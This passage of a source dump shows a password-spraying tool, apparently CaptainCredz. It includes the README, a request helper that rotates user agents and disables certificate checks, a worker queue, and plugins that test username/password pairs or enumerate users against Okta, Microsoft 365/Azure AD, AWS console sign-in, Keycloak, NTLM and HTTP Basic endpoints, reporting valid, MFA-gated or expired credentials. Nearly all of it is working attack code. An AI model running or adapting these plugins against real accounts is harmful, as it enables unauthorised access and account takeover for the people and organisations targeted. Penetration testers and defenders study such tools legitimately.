16 | if self.pluginargs.get("method") == None:
17 | method = "GET"
18 | else:
19 | method = self.pluginargs["method"]
20 | self.pluginargs["method"] = method # Save the method
21 |
22 | if method not in ["GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS", "CONNECT", "TRACE"]:
23 | return False, f"Unknown HTTP method '{method}' provided"
24 | else:
25 | return True, None
26 |
27 | def testconnect(self, useragent):
28 | """
29 | This functions verifies if everything is good network-wise
30 | """
31 |
32 | method = self.pluginargs["method"]
33 | r = self.requester.request(method, self.pluginargs["url"], headers = {"User-Agent": useragent})
34 | is_401 = r.status_code == 401
35 | supports_authentication = "Basic" in r.headers.get("WWW-Authenticate")
36 |
37 | return is_401 and supports_authentication
38 |
39 | def test_authenticate(self, username, password, useragent):
40 | """
41 | This functions authenticates
42 | """
43 |
44 | data_response = {
45 | "result": None, # either "success", "inexistant", "potential" or "failure"
46 | "error": False, # if there's an error (to indicate that a retry is needed)
47 | "output": None, # return message
48 | "request": None # represents the request, useful for example to print the cookies obtained
49 | }
50 |
51 | try:
52 |
53 | method = self.pluginargs["method"]
54 | authorization = base64.b64encode(username.encode() + b':' + password.encode()).decode()
55 | r = self.requester.request(method, self.pluginargs["url"], headers = {"User-Agent": useragent, "Authorization": f"Basic {authorization}"}, allow_redirects = False)
56 | data_response['request'] = r
57 |
58 | if r.status_code == 401: # Wrong credentials
59 |
60 | data_response['result'] = 'failure'
61 | data_response['output'] = 'Invalid credentials'
62 |
63 | else: # Consider other error codes as valid credentials
64 |
65 | data_response['result'] = 'success'
66 | data_response['output'] = f"Valid credentials found with returned status code {r.status_code}"
67 |
68 | except Exception as ex:
69 |
70 | data_response['error'] = True
71 | data_response['output'] = str(ex.__repr__())
72 |
73 | return data_response
74 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CaptainCredz
2 |
3 | ## TL;DR
4 |
5 | CaptainCredz is a modular and discreet password-spraying tool, with advanced features such as a cache mechanism and a fine-grained timing control.
6 |
7 | To start using captaincredz, the following lines may be useful:
8 |
9 | ```
10 | TEXT_EDITOR=nano
11 |
12 | git clone https://github.com/synacktiv/captaincredz
13 | cd captaincredz
14 | pip3 install -r requirements.txt
15 | $TEXT_EDITOR config.json
16 | $TEXT_EDITOR ww_config.json
17 |
18 | python3 captaincredz.py --config config.json --weekday_warrior ww_config.json
19 | ```
20 |
21 | ## Installation
22 |
23 | Captaincredz can be installed with `pip(x) install .`. Alternatively, one can install the required dependencies and run captaincredz via the script `captaincredz.py`, by following the commands in the TL;DR section above.
24 |
25 | ## Usage
26 |
27 | ```
28 | usage: captaincredz.py [-h] -c CONFIG [-w WEEKDAY_WARRIOR]
29 |
30 | options:
31 | -h, --help show this help message and exit
32 | -c CONFIG, --config CONFIG
33 | Configure CaptainCredz using config file config.json
34 | -w WEEKDAY_WARRIOR, --weekday_warrior WEEKDAY_WARRIOR
35 | Weekday Warrior config file. Only active when specified
36 | ```
37 |
38 | For detailed information on the format of the configuration files, please refer to the [wiki](https://github.com/synacktiv/captaincredz/wiki) associated with this repository.
39 |
40 | ## Extending CaptainCredz
41 |
42 | ### Writing your own plugin
43 |
44 | If your identity provider is not yet supported by CaptainCredz, you may have to write your own plugin.
45 |
46 | The best thing you can do is look at the plugins already implemented, and write your own in the same way. In particular, adapting Credmaster plugins to CaptainCredz should not be too difficult, as the functions defined are the roughly the same.
47 |
48 | ### Writing your own post_action
49 |
50 | Maybe you want to add an action after each success, like sending a Telegram message for instance. This is not yet implemented by CaptainCredz, but can be implemented fairly easily in the current state of things.
51 |
52 | The best thing you can do is look at the basic post_actions already implemented, and write your own in the same way. Post_actions receive a variety of data from the plugin in order to implement their logic.
53 |
54 | ## Acknowledgements
55 |
56 | Captaincredz is heavily inspired by [CredMaster](https://github.com/knavesec/CredMaster). We figured it lacked a bunch of interesting features, such as a cache mechanism, more generic `post_actions`, or the ability to replace the integrated Fireprox IP rotation implementation with our own [IPSpinner](https://github.com/synacktiv/IPSpinner) proxy for example. As such, we initially performed a [pull request](https://github.com/knavesec/CredMaster/pull/80) to the original CredMaster repository. This pull request brings major changes to the project's core, as it was not initially intended for these features. Therefore, in parallel to this PR, we decided to start a complete rewrite, carrying the good stuff from CredMaster while incorporating the things we needed. The architecture of the code is modular, and allows for future additions.
57 |
58 | Big thanks to [@knavesec](https://github.com/knavesec) for their work on CredMaster !
59 |
--------------------------------------------------------------------------------
/captaincredz/lib/requester.py:
--------------------------------------------------------------------------------
1 | import random
2 | import requests
3 |
4 | requests.packages.urllib3.disable_warnings(
5 | requests.packages.urllib3.exceptions.InsecureRequestWarning
6 | )
7 |
8 |
9 | class Requester:
10 | def __init__(self, useragentfile=None, proxy=None, headers=None, req_timeout=60):
11 | self.useragents = [
12 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"
13 | ] # By default: Win10 with Chrome 130
14 | if useragentfile is not None:
15 | with open(useragentfile, "r") as f:
16 | self.useragents = [ua.rstrip() for ua in f.readlines()]
17 | self.proxy = {"http": proxy, "https": proxy}
18 | self.headers = headers
19 | self.request_timeout = req_timeout
20 |
21 | def get_random_ua(self):
22 | return random.choice(self.useragents)
23 |
24 | def patch_kwargs(self, dico):
25 | if self.headers is not None:
26 | for h in self.headers:
27 | v = self.headers[h]
28 | if "headers" in dico:
29 | dico["headers"][h] = v
30 | else:
31 | dico["headers"] = {h: v}
32 | dico["proxies"] = self.proxy
33 | if not "verify" in dico:
34 | dico["verify"] = False
35 | if not "timeout" in dico:
36 | dico["timeout"] = self.request_timeout
37 | if not "headers" in dico or not "user-agent" in [
38 | x.lower() for x in list(dico["headers"])
39 | ]:
40 | # TODO add warning ?
41 | if "headers" in dico:
42 | dico["headers"]["User-Agent"] = self.get_random_ua()
43 | else:
44 | dico["headers"] = {"User-Agent": self.get_random_ua()}
45 | return dico
46 |
47 | def delete(self, *args, **kwargs):
48 | kwargs = self.patch_kwargs(kwargs)
49 | return requests.delete(*args, **kwargs)
50 |
51 | def get(self, *args, **kwargs):
52 | kwargs = self.patch_kwargs(kwargs)
53 | return requests.get(*args, **kwargs)
54 |
55 | def head(self, *args, **kwargs):
56 | kwargs = self.patch_kwargs(kwargs)
57 | return requests.head(*args, **kwargs)
58 |
59 | def options(self, *args, **kwargs):
60 | kwargs = self.patch_kwargs(kwargs)
61 | return requests.options(*args, **kwargs)
62 |
63 | def patch(self, *args, **kwargs):
64 | kwargs = self.patch_kwargs(kwargs)
65 | return requests.patch(*args, **kwargs)
66 |
67 | def post(self, *args, **kwargs):
68 | kwargs = self.patch_kwargs(kwargs)
69 | return requests.post(*args, **kwargs)
70 |
71 | def put(self, *args, **kwargs):
72 | kwargs = self.patch_kwargs(kwargs)
73 | return requests.put(*args, **kwargs)
74 |
75 | def request(self, *args, **kwargs):
76 | kwargs = self.patch_kwargs(kwargs)
77 | return requests.request(*args, **kwargs)
78 |
79 | def Session(self):
80 | s = requests.Session()
81 | s.proxies.update(self.proxy)
82 | if self.headers is not None:
83 | dico = dict()
84 | for h in self.headers:
85 | v = self.headers[h]
86 | dico[h] = v
87 | s.headers.update(dico)
88 | s.verify = False
89 | return s
90 |
91 | def session(self):
92 | # Alias for backwards compatibility (until all plugins have migrated to Session())
93 | return self.Session()
94 |
--------------------------------------------------------------------------------
/captaincredz/plugins/okta/__init__.py:
--------------------------------------------------------------------------------
1 | import random
2 | import json
3 |
4 | class Plugin:
5 | def __init__(self, requester, pluginargs):
6 | self.requester = requester
7 | self.pluginargs = pluginargs
8 |
9 | def validate(self):
10 | err = None
11 | if not "url" in self.pluginargs.keys():
12 | err = "Okta plugin needs 'url' argument. Please add it to the config file, specifying the URL to the Okta instance."
13 | return "url" in self.pluginargs, err
14 |
15 | def testconnect(self, useragent):
16 | r = self.requester.get(self.pluginargs["url"], headers={"User-Agent": useragent})
17 | return r.status_code != 504
18 |
19 | def test_authenticate(self, username, password, useragent):
20 | data_response = {
21 | "result": None,
22 | "error": False,
23 | "output": "Blah",
24 | "request": None
25 | }
26 |
27 | raw_body = f'{{"username":"{username}","password":"{password}","options":{{"warnBeforePasswordExpired":true,"multiOptionalFactorEnroll":true}}}}'
28 |
29 | headers = {
30 | 'User-Agent' : useragent,
31 | 'Content-Type' : 'application/json'
32 | }
33 |
34 | try:
35 | resp = self.requester.post(f"{self.pluginargs['url']}/api/v1/authn/",data=raw_body, headers=headers)
36 | data_response['request'] = resp
37 | if resp.status_code == 200:
38 | resp_json = json.loads(resp.text)
39 |
40 | if resp_json.get("status") == "LOCKED_OUT": #Warning: administrators can configure Okta to not indicate that an account is locked out. Fair warning ;)
41 | data_response['result'] = "failure"
42 | data_response['output'] = f"[-] FAILURE: Locked out {username}:{password}"
43 |
44 | elif resp_json.get("status") == "SUCCESS":
45 | data_response['result'] = "success"
46 | data_response['output'] = f"[+] SUCCESS: => {username}:{password}"
47 |
48 | elif resp_json.get("status") == "MFA_REQUIRED":
49 | data_response['result'] = "success"
50 | data_response['output'] = f"[+] SUCCESS: 2FA => {username}:{password}"
51 |
52 | elif resp_json.get("status") == "PASSWORD_EXPIRED":
53 | data_response['result'] = "success"
54 | data_response['output'] = f"[+] SUCCESS: password expired {username}:{password}"
55 |
56 | elif resp_json.get("status") == "MFA_ENROLL":
57 | data_response['result'] = "success"
58 | data_response['output'] = f"[+] SUCCESS: MFA enrollment required {username}:{password}"
59 |
60 | else:
61 | data_response['result'] = "failure"
62 | data_response['output'] = f"[?] ALERT: 200 but doesn't indicate success {username}:{password}"
63 |
64 | elif resp.status_code == 403:
65 | data_response['result'] = "failure"
66 | data_response['output'] = f"[-] FAILURE THROTTLE INDICATED: {resp.status_code} => {username}:{password}"
67 |
68 | else:
69 | data_response['result'] = "failure"
70 | data_response['output'] = f"[-] FAILURE: {resp.status_code} => {username}:{password}"
71 |
72 |
73 | except Exception as ex:
74 | data_response['error'] = True
75 | data_response['output'] = str(ex.__repr__())
76 | pass
77 |
78 | return data_response
--------------------------------------------------------------------------------
/captaincredz/plugins/o365enum/__init__.py:
--------------------------------------------------------------------------------
1 | import random
2 |
3 | class Plugin:
4 | def __init__(self, requester, pluginargs):
5 | self.requester = requester
6 | self.pluginargs = pluginargs
7 |
8 | def validate(self):
9 | self.pluginargs = {
10 | 'url' : "https://login.microsoftonline.com"
11 | }
12 | return True, None
13 |
14 | def testconnect(self, useragent):
15 | r = self.requester.get(self.pluginargs["url"], headers={"User-Agent": useragent})
16 | return r.status_code != 504
17 |
18 | def test_authenticate(self, username, password, useragent):
19 | data_response = {
20 | 'result' : None, # Can be "success", "failure" or "potential"
21 | 'error' : False,
22 | 'output' : "",
23 | 'valid_user' : False
24 | }
25 |
26 | client_ids = [
27 | # Microsoft Edge
28 | ("ecd6b820-32c2-49b6-98a6-444530e5a77a", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045"),
29 | # Outlook Mobile
30 | ("27922004-5251-4030-b22d-91ecd9a37ea4", "Mozilla/5.0 (compatible; MSAL 1.0) PKeyAuth/1.0"),
31 | ]
32 |
33 | client_id, useragent = random.choice(client_ids)
34 |
35 | headers = {
36 | "User-Agent" : useragent,
37 | 'Accept' : 'application/json',
38 | 'Content-Type' : 'application/x-www-form-urlencoded'
39 | }
40 |
41 | if_exists_result_codes = {
42 | "-1" : "UNKNOWN_ERROR",
43 | "0" : "VALID_USERNAME",
44 | "1" : "UNKNOWN_USERNAME",
45 | "2" : "THROTTLE",
46 | "4" : "ERROR",
47 | "5" : "VALID_USERNAME_DIFFERENT_IDP",
48 | "6" : "VALID_USERNAME"
49 | }
50 |
51 | domainType = {
52 | "1" : "UNKNOWN",
53 | "2" : "COMMERCIAL",
54 | "3" : "MANAGED",
55 | "4" : "FEDERATED",
56 | "5" : "CLOUD_FEDERATED"
57 | }
58 |
59 | body = '{"Username":"%s"}' % username
60 |
61 | try:
62 | response = self.requester.post(f"{self.pluginargs['url']}/common/GetCredentialType", headers=headers, data=body)
63 | data_response['request'] = response
64 |
65 | throttle_status = int(response.json()['ThrottleStatus'])
66 | if_exists_result = str(response.json()['IfExistsResult'])
67 | if_exists_result_response = if_exists_result_codes[if_exists_result]
68 | domain_type = domainType[str(response.json()['EstsProperties']['DomainType'])]
69 | domain = username.split("@")[1]
70 |
71 | if domain_type != "MANAGED":
72 | data_response["result"] = "failure"
73 | data_response['output'] = f"[-] FAILURE: {username} Domain type {domain_type} not supported for user enum"
74 |
75 | elif throttle_status != 0 or if_exists_result_response == "THROTTLE":
76 | data_response['output'] = f"[?] WARNING: Throttle detected on user {username}"
77 | data_response['result'] = "failure"
78 |
79 | else:
80 | sign = "[-]"
81 | data_response["result"] = "failure"
82 | if "VALID_USER" in if_exists_result_response:
83 | sign = "[!]"
84 | data_response["result"] = "success"
85 | data_response['valid_user'] = True
86 | data_response['output'] = f"{sign} {if_exists_result_response}: {username}"
87 |
88 | except Exception as ex:
89 | data_response['error'] = True
90 | data_response['output'] = str(ex.__repr__())
91 | pass
92 |
93 | return data_response
--------------------------------------------------------------------------------
/captaincredz/plugins/ntlmssp/__init__.py:
--------------------------------------------------------------------------------
1 | """
2 | author: lou
3 | quick & dirty POC of an NTLM authentication plugin
4 | """
5 |
6 | import spnego
7 | import os
8 | import base64
9 |
10 | class Plugin:
11 | def __init__(self, requester, pluginargs):
12 | self.requester = requester
13 | self.pluginargs = pluginargs
14 |
15 | def validate(self):
16 | """
17 | This functions verifies if the plugin args are correctly defined
18 | """
19 | err = "You must provide an url and protocol (either 'ntlm' or 'negotiate')"
20 | if any(i not in self.pluginargs for i in ["url", "protocol"]):
21 | return False, err
22 | if not any(i in self.pluginargs["protocol"] for i in ["ntlm", "negotiate"]):
23 | return False, err
24 | return True, err
25 |
26 | def testconnect(self, useragent):
27 | """
28 | This functions verifies if everything is good network-wise
29 | """
30 | # return True
31 | r = self.requester.get(self.pluginargs["url"], headers={"User-Agent": useragent, "Authorization": "NTLM"})
32 | is_401 = r.status_code == 401
33 | supports_authentication = any([i.lower() in r.headers.get("WWW-Authenticate").lower() for i in ["NTLM", "Negotiate"]])
34 | return is_401 and supports_authentication
35 |
36 | def test_authenticate(self, username, password, useragent):
37 | """
38 | This functions authenticates
39 | """
40 | data_response = {
41 | "result": None, # either "success", "inexistant", "potential" or "failure"
42 | "error": False, # if there's an error (to indicate that a retry is needed)
43 | "output": "Blah", # return message
44 | "request": None # represents the request, useful for example to print the cookies obtained
45 | }
46 |
47 | try:
48 | data = username.split("@")
49 | if len(data) == 2:
50 | username, domain = data
51 | workstation = "DESKTOP-5EE1C34"
52 | elif len(data) == 3:
53 | username, domain, workstation = data
54 | else:
55 | raise Exception("Users should be in the username@domain[@workstation] format")
56 |
57 | # ugly but works
58 | os.environ["NETBIOS_COMPUTER_NAME"] = workstation
59 |
60 | ntlm_client = spnego.client(username, password, domain, protocol=self.pluginargs["protocol"])
61 | sess = self.requester.session()
62 | sess.headers.update({"User-Agent": useragent})
63 |
64 | ntlm_negotiate_message = ntlm_client.step()
65 | beautiful_protocol = "NTLM"
66 | if self.pluginargs["protocol"].lower() == "negotiate":
67 | beautiful_protocol = "Negotiate"
68 |
69 | resp = sess.get(self.pluginargs["url"], headers={"Authorization": f"{beautiful_protocol} {base64.b64encode(ntlm_negotiate_message).decode()}"})
70 |
71 | ntlm_authenticate_message = ntlm_client.step(base64.b64decode(resp.headers.get("WWW-Authenticate").split(" ")[1]))
72 | resp = sess.get(self.pluginargs["url"], headers={"Authorization": f"{beautiful_protocol} {base64.b64encode(ntlm_authenticate_message).decode()}"})
73 |
74 | data_response['request'] = resp
75 | if resp.status_code != 401:
76 | data_response['result'] = "success"
77 | data_response['output'] = f"[+] SUCCESS: {domain}\\{username}:{password}"
78 | elif resp.status_code == 401:
79 | data_response['result'] = "failure"
80 | data_response['output'] = f"[-] FAIL: {domain}\\{username}:{password}"
81 |
82 | except Exception as ex:
83 | data_response['error'] = True
84 | data_response['output'] = str(ex.__repr__())
85 |
86 | return data_response
87 |
--------------------------------------------------------------------------------
/captaincredz/plugins/aws/__init__.py:
--------------------------------------------------------------------------------
1 | class Plugin:
2 | def __init__(self, requester, pluginargs):
3 | self.requester = requester
4 | self.pluginargs = pluginargs
5 |
6 | def validate(self):
7 | #
8 | # Plugin Args
9 | #
10 | # --account_id XXXXXXXXXXXX -> Account Identifier
11 | #
12 | err = None
13 | self.pluginargs["url"] = "https://signin.aws.amazon.com"
14 |
15 | if not 'account_id' in self.pluginargs.keys():
16 | err = "Plugin AWS needs 'account_id' plugin argument. Please specify it in the configuration file"
17 | return 'account_id' in self.pluginargs.keys(), err
18 |
19 | def testconnect(self, useragent):
20 | headers = {
21 | "User-Agent" : useragent,
22 | }
23 | resp = self.requester.get(self.pluginargs["url"], headers=headers)
24 |
25 | return resp.status_code != 504
26 |
27 | def test_authenticate(self, username, password, useragent):
28 | data_response = {
29 | "result": None,
30 | "error": False,
31 | "output": "Blah",
32 | 'request': None
33 | }
34 |
35 | account = self.pluginargs["account_id"]
36 |
37 | body = {
38 | "action": "iam-user-authentication",
39 | "account": account,
40 | "username": username,
41 | "password": password,
42 | "client_id": "arn:aws:signin:::console/canvas",
43 | "redirect_uri": "https://console.aws.amazon.com/console/home"
44 | }
45 |
46 | headers = {
47 | "User-Agent": useragent,
48 | }
49 |
50 | try:
51 | resp = self.requester.post(f"{self.pluginargs['url']}/authenticate", data=body, headers=headers)
52 | data_response['request'] = resp
53 | if resp.status_code == 200:
54 | resp_json = resp.json()
55 |
56 | if resp_json.get("state") == "SUCCESS":
57 |
58 | if resp_json["properties"]["result"] == "SUCCESS":
59 | data_response['result'] = "success"
60 | data_response['output'] = f"[+] SUCCESS: => {account}:{username}:{password}"
61 |
62 | elif resp_json["properties"]["result"] == "MFA":
63 | data_response['result'] = "potential"
64 | data_response['output'] = f"[+] SUCCESS: 2FA => {account}:{username}:{password} - Note: it does not mean that the password is correct"
65 |
66 | elif resp_json["properties"]["result"] == "CHANGE_PASSWORD":
67 | data_response['result'] = "success"
68 | data_response['output'] = f"[+] SUCCESS: Asking for password changing => {account}:{username}:{password}"
69 |
70 | else:
71 | result = resp_json["properties"]["result"]
72 | data_response['output'] = f"[?] Unknown Response : ({result}) {account}:{username}:{password}"
73 | data_response['result'] = "failure"
74 |
75 | elif resp_json.get("state") == "FAIL":
76 | data_response['output'] = f"[!] FAIL: => {account}:{username}:{password}"
77 | data_response['result'] = "failure"
78 |
79 | else:
80 | data_response['output'] = f"[?] Unknown Response : {account}:{username}:{password}"
81 | data_response['result'] = "failure"
82 |
83 | elif resp.status_code == 403:
84 | data_response['result'] = "failure"
85 | data_response['output'] = f"[-] FAILURE THROTTLE INDICATED: {resp.status_code} => {account}:{username}:{password}"
86 |
87 | else:
88 | data_response['result'] = "failure"
89 | data_response['output'] = f"[-] FAILURE: {resp.status_code} => {account}:{username}:{password}"
90 |
91 |
92 | except Exception as ex:
93 | data_response['error'] = True
94 | data_response['output'] = str(ex.__repr__())
95 | pass
96 |
97 | return data_response
--------------------------------------------------------------------------------
/captaincredz/lib/worker.py:
--------------------------------------------------------------------------------
1 | import importlib
2 | from queue import SimpleQueue
3 | from .cache import Cache
4 | import traceback
5 | import datetime
6 | import sys
7 |
8 |
9 | class Worker:
10 | SLEEP_INTERVAL = 2
11 |
12 | def __init__(
13 | self,
14 | requester=None,
15 | plugin=None,
16 | pluginargs=None,
17 | weight=1,
18 | signal=None,
19 | logger=None,
20 | id=0,
21 | ):
22 | self.plugin = plugin
23 | self._weight = weight
24 | self.pluginargs = pluginargs
25 | self.requester = requester
26 | self.queue = SimpleQueue()
27 | self.signal = signal
28 | self.cancelled = False
29 | self.logger = logger
30 | self.id = id
31 |
32 | @property
33 | def weight(self):
34 | if self.cancelled:
35 | return 0
36 | return self._weight
37 |
38 | def init_plugin(self):
39 | plugin_err = ""
40 | mod = None
41 | try:
42 | mod = importlib.import_module(f".plugins.{self.plugin}", package='captaincredz')
43 | except:
44 | plugin_err = traceback.format_exc()
45 | if mod is None:
46 | self.logger.error(
47 | f"[{self.plugin}] Plugin could not be loaded. Exception was caught, stacktrace printed below for debugging purposes:\n"
48 | + plugin_err
49 | )
50 | return False
51 |
52 | self._plugin = None
53 | try:
54 | self._plugin = mod.Plugin(self.requester, self.pluginargs)
55 | except:
56 | plugin_err = traceback.format_exc()
57 | if self._plugin is None:
58 | self.logger.error(
59 | f"[{self.plugin}] Plugin could not be instanciated! Exception was caught, stacktrace printed below for debugging purposes:\n"
60 | + plugin_err
61 | )
62 | return False
63 |
64 | try:
65 | valid_args, plugin_err = self._plugin.validate()
66 | except:
67 | valid_args, plugin_err = False, traceback.format_exc()
68 | if not valid_args:
69 | self.logger.error(
70 | f"[{self.plugin}] Invalid plugin arguments! The plugin error is: "
71 | + plugin_err
72 | )
73 | return False
74 |
75 | useragent = self.requester.get_random_ua()
76 | connect_status = False
77 | try:
78 | self.logger.debug(f"[{self.plugin}] Testing network connection...")
79 | connect_status = self._plugin.testconnect(useragent)
80 | self.logger.debug(f"[{self.plugin}] Plugin test connection successful!")
81 | except:
82 | plugin_err = traceback.format_exc()
83 | if not connect_status:
84 | self.logger.error(
85 | f"[{self.plugin}] Plugin test connection failed! The plugin error is: "
86 | + plugin_err
87 | )
88 | return False
89 |
90 | return valid_args and connect_status
91 |
92 | def add(self, username, password):
93 | self.queue.put((username, password))
94 |
95 | def execute(self, username, password):
96 | useragent = self.requester.get_random_ua()
97 | data = dict()
98 | try:
99 | data = self._plugin.test_authenticate(username, password, useragent)
100 | except:
101 | data["error"] = True
102 | data["output"] = (
103 | f"Unhandled exception in the {self.plugin} plugin caught by the worker. This is handled properly, do not worry, the pair of credz will be retried at the end. Stacktrace is printed for debug purposes only:\n"
104 | + traceback.format_exc()
105 | + "\nAgain, do not worry, this error is being handled properly and the stacktrace is here for debugging purposes only."
106 | )
107 | data["ts"] = datetime.datetime.now().timestamp()
108 | try:
109 | self.signal(username, password, data, self.id)
110 | except Exception as ex:
111 | self.logger.error(
112 | "Core error. This is very bizarre and should not happen, please create an issue with the following stacktrace:"
113 | )
114 | self.logger.error(str(ex.__repr__()))
115 | raise ex
116 |
117 | def main(self):
118 | while not self.cancelled:
119 | up = None
120 | try:
121 | up = self.queue.get(timeout=Worker.SLEEP_INTERVAL)
122 | except:
123 | pass
124 | if up is not None and not self.cancelled:
125 | u, p = up
126 | self.execute(u, p)
127 |
--------------------------------------------------------------------------------
/captaincredz/plugins/keycloak/__init__.py:
--------------------------------------------------------------------------------
1 | import sys
2 | from bs4 import BeautifulSoup
3 |
4 | class Plugin:
5 | def __init__(self, requester, pluginargs):
6 | self.requester = requester
7 | self.pluginargs = pluginargs
8 |
9 | def validate(self):
10 | err = None
11 | pak = self.pluginargs.keys()
12 | if not "url" in pak:
13 | err = "Keycloak plugin needs 'url' argument. Please add it to the config file, specifying the URL to the keycloak instance."
14 | if not "realm" in pak:
15 | err = "Keycloak plugin needs 'realm' argument. Please add it to the config file, specifying the name of the realm."
16 | if not "failure-string" in pak:
17 | err = "Keycloak plugin needs 'failure-string' argument. Please add it to the config file, specifying a string that appears when authentication fails."
18 | return "url" in pak and "realm" in pak and "failure-string" in pak, err
19 |
20 | def testconnect(self, useragent):
21 | r = self.requester.get(self.pluginargs["url"], headers={"User-Agent": useragent})
22 | return r.status_code != 504
23 |
24 | def test_authenticate(self, username, password, useragent):
25 | data_response = {
26 | "result": None,
27 | "error": False,
28 | "output": "Blah",
29 | "request": None
30 | }
31 |
32 | try:
33 | realm = self.pluginargs["realm"]
34 | failure_string = self.pluginargs["failure-string"]
35 |
36 | ACCOUNT_URL = f"{self.pluginargs['url']}auth/realms/{realm}/account"
37 |
38 | session = self.requester.Session()
39 |
40 | # Emitting the first request to the target realm "account" service.
41 | # This should return a 302 Redirect (if not, the Keycloak installation is different and we should abort)
42 | r = session.get(ACCOUNT_URL, headers={"User-Agent": useragent}, allow_redirects=False)
43 | if r.status_code != 302:
44 | print("[!] Account service request did not return expected 302 - Keycloak installation may be different. Investigate if there are a lot of this.")
45 | raise Exception("[!] Account service request did not return expected 302 - Keycloak installation may be different. Investigate if there are a lot of this.")
46 |
47 | redirect_target = r.headers["Location"]
48 |
49 | # Emitting the second request to generated redirect URL
50 | # This should return a 200 OK, set 3 cookies and include the HTML form "kc-form-login"
51 | r = session.get(redirect_target, headers={"User-Agent": useragent})
52 | if r.status_code != 200:
53 | print("[!] Something went wrong during redirect request, which did not return expected 200. Investigate if there are a lot of this.")
54 | raise Exception("[!] Something went wrong during redirect request, which did not return expected 200. Investigate if there are a lot of this.")
55 |
56 | parser = BeautifulSoup(r.text, "html.parser")
57 | login_form = parser.find('form', id='kc-form-login')
58 | if login_form:
59 | action_value = login_form.get('action')
60 | else:
61 | print("[!] Could not find expected login form in redirect request response. Investigate if there are a lot of this.")
62 | raise Exception("[!] Could not find expected login form in redirect request response. Investigate if there are a lot of this.")
63 |
64 | # Emitting the third final request to actually perform the login attempt from action URL
65 | # Upon failure, this will return a 200 OK response containing the failure string
66 | payload = {"username": username, "password": password, "credentialId": ""}
67 | for cookie in session.cookies:
68 | # WARNING: MAKE SURE IT WORKS FINE TO RETRIEVE THE NEW PATH
69 | cookie.path = f'/{self.pluginargs["url"].split("/", 3)[3]}{cookie.path[1:]}'
70 | session.cookies.set_cookie(cookie)
71 | r = session.post(action_value, headers={"User-Agent": useragent}, data=payload)
72 | data_response['request'] = r
73 |
74 | if r.status_code != 200:
75 | data_response['result'] = "potential"
76 | data_response['output'] = f"[?] POTENTIAL - The login request returned a {r.status_code} code instead of the expected 200 which might indicate a success.: => {username}:{password}"
77 |
78 | elif failure_string in r.text:
79 | data_response['result'] = "failure"
80 | data_response['output'] = f"[-] FAILURE (expected failure string returned) => {username}:{password}"
81 |
82 | else:
83 | data_response['result'] = "potential"
84 | data_response['output'] = f"[?] POTENTIAL - The login request returned a 200 response that does not contain expected failure string => {username}:{password}"
85 |
86 | except Exception as ex:
87 | data_response['error'] = True
88 | data_response['output'] = str(ex.__repr__())
89 | pass
90 |
91 | return data_response
92 |
--------------------------------------------------------------------------------
/captaincredz/plugins/msol/__init__.py:
--------------------------------------------------------------------------------
1 | import random
2 |
3 | class Plugin:
4 | def __init__(self, requester, pluginargs):
5 | self.requester = requester
6 | self.pluginargs = {'url' : "https://login.microsoft.com", 'resource': "https://graph.microsoft.com"}
7 | if 'url' in pluginargs and pluginargs['url'] is not None:
8 | self.pluginargs['url'] = pluginargs['url']
9 | if 'resource' in pluginargs and pluginargs['resource'] is not None:
10 | self.pluginargs['resource'] = pluginargs['resource']
11 |
12 | def validate(self):
13 | err = ""
14 | val = True
15 | if not "url" in self.pluginargs.keys():
16 | val = False
17 | err = "MSOL plugin needs a 'url' argument. Please add it to the config file, specifying the Microsoft login page (should be 'https://login.microsoft.com')."
18 | if not "resource" in self.pluginargs.keys():
19 | val = False
20 | err = "MSOL plugin needs a 'resource' argument. Please add it to the config file, specifying the Microsoft resource (either 'https://graph.windows.net' or 'https://graph.microsoft.com')."
21 | if self.pluginargs["resource"] not in ['https://graph.windows.net', 'https://graph.microsoft.com']:
22 | val = False
23 | err = "MSOL plugin error, the resource is unknown. It should either be 'https://graph.windows.net' or 'https://graph.microsoft.com'"
24 | return val, err
25 |
26 | def testconnect(self, useragent):
27 | # return True
28 | r = self.requester.get(self.pluginargs["url"], headers={"User-Agent": useragent})
29 | return r.status_code != 504
30 |
31 | def test_authenticate(self, username, password, useragent):
32 | data_response = {
33 | 'result' : None, # Can be "success", "failure" or "potential"
34 | 'error' : False,
35 | 'output' : "",
36 | 'request': None
37 | }
38 |
39 | client_ids = [
40 | # Microsoft Edge
41 | ("ecd6b820-32c2-49b6-98a6-444530e5a77a", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045"),
42 | # Outlook Mobile
43 | ("27922004-5251-4030-b22d-91ecd9a37ea4", "Mozilla/5.0 (compatible; MSAL 1.0) PKeyAuth/1.0"),
44 | ]
45 | client_id, useragent = random.choice(client_ids)
46 |
47 |
48 | body = {
49 | 'resource' : self.pluginargs["resource"],
50 | 'client_id' : client_id,
51 | 'client_info' : '1',
52 | 'grant_type' : 'password',
53 | 'username' : username,
54 | 'password' : password,
55 | 'scope' : 'openid',
56 | }
57 |
58 | headers = {
59 | "User-Agent" : useragent,
60 | 'Accept' : 'application/json',
61 | 'Content-Type' : 'application/x-www-form-urlencoded'
62 | }
63 |
64 | try:
65 | resp = self.requester.post(f"{self.pluginargs['url']}/common/oauth2/token", headers=headers, data=body)
66 | data_response['request'] = resp
67 | if resp.status_code == 200:
68 | data_response['result'] = "success"
69 | data_response['output'] = f"[+] SUCCESS: {username}:{password}"
70 |
71 | else:
72 | response = resp.json()
73 | error = response["error_description"]
74 | error_code = error.split(":")[0].strip()
75 |
76 | if "AADSTS50126" in error:
77 | data_response['result'] = "failure"
78 | data_response['output'] = f"[-] FAILURE ({error_code}): Invalid username or password. Username: {username} could exist"
79 |
80 | elif any([x in error for x in ["AADSTS50128", "AADSTS50059", "AADSTS50034"]]):
81 | data_response['result'] = "inexistant"
82 | data_response['output'] = f"[-] INEXISTANT ({error_code}): Tenant for account {username} is not using AzureAD/Office365"
83 |
84 | elif "AADSTS50056" in error:
85 | data_response['result'] = "inexistant"
86 | data_response['output'] = f"[-] INEXISTANT ({error_code}): Password does not exist in store for {username}"
87 |
88 | elif "AADSTS53003" in error:
89 | # Access successful but blocked by CAP
90 | data_response['result'] = "success"
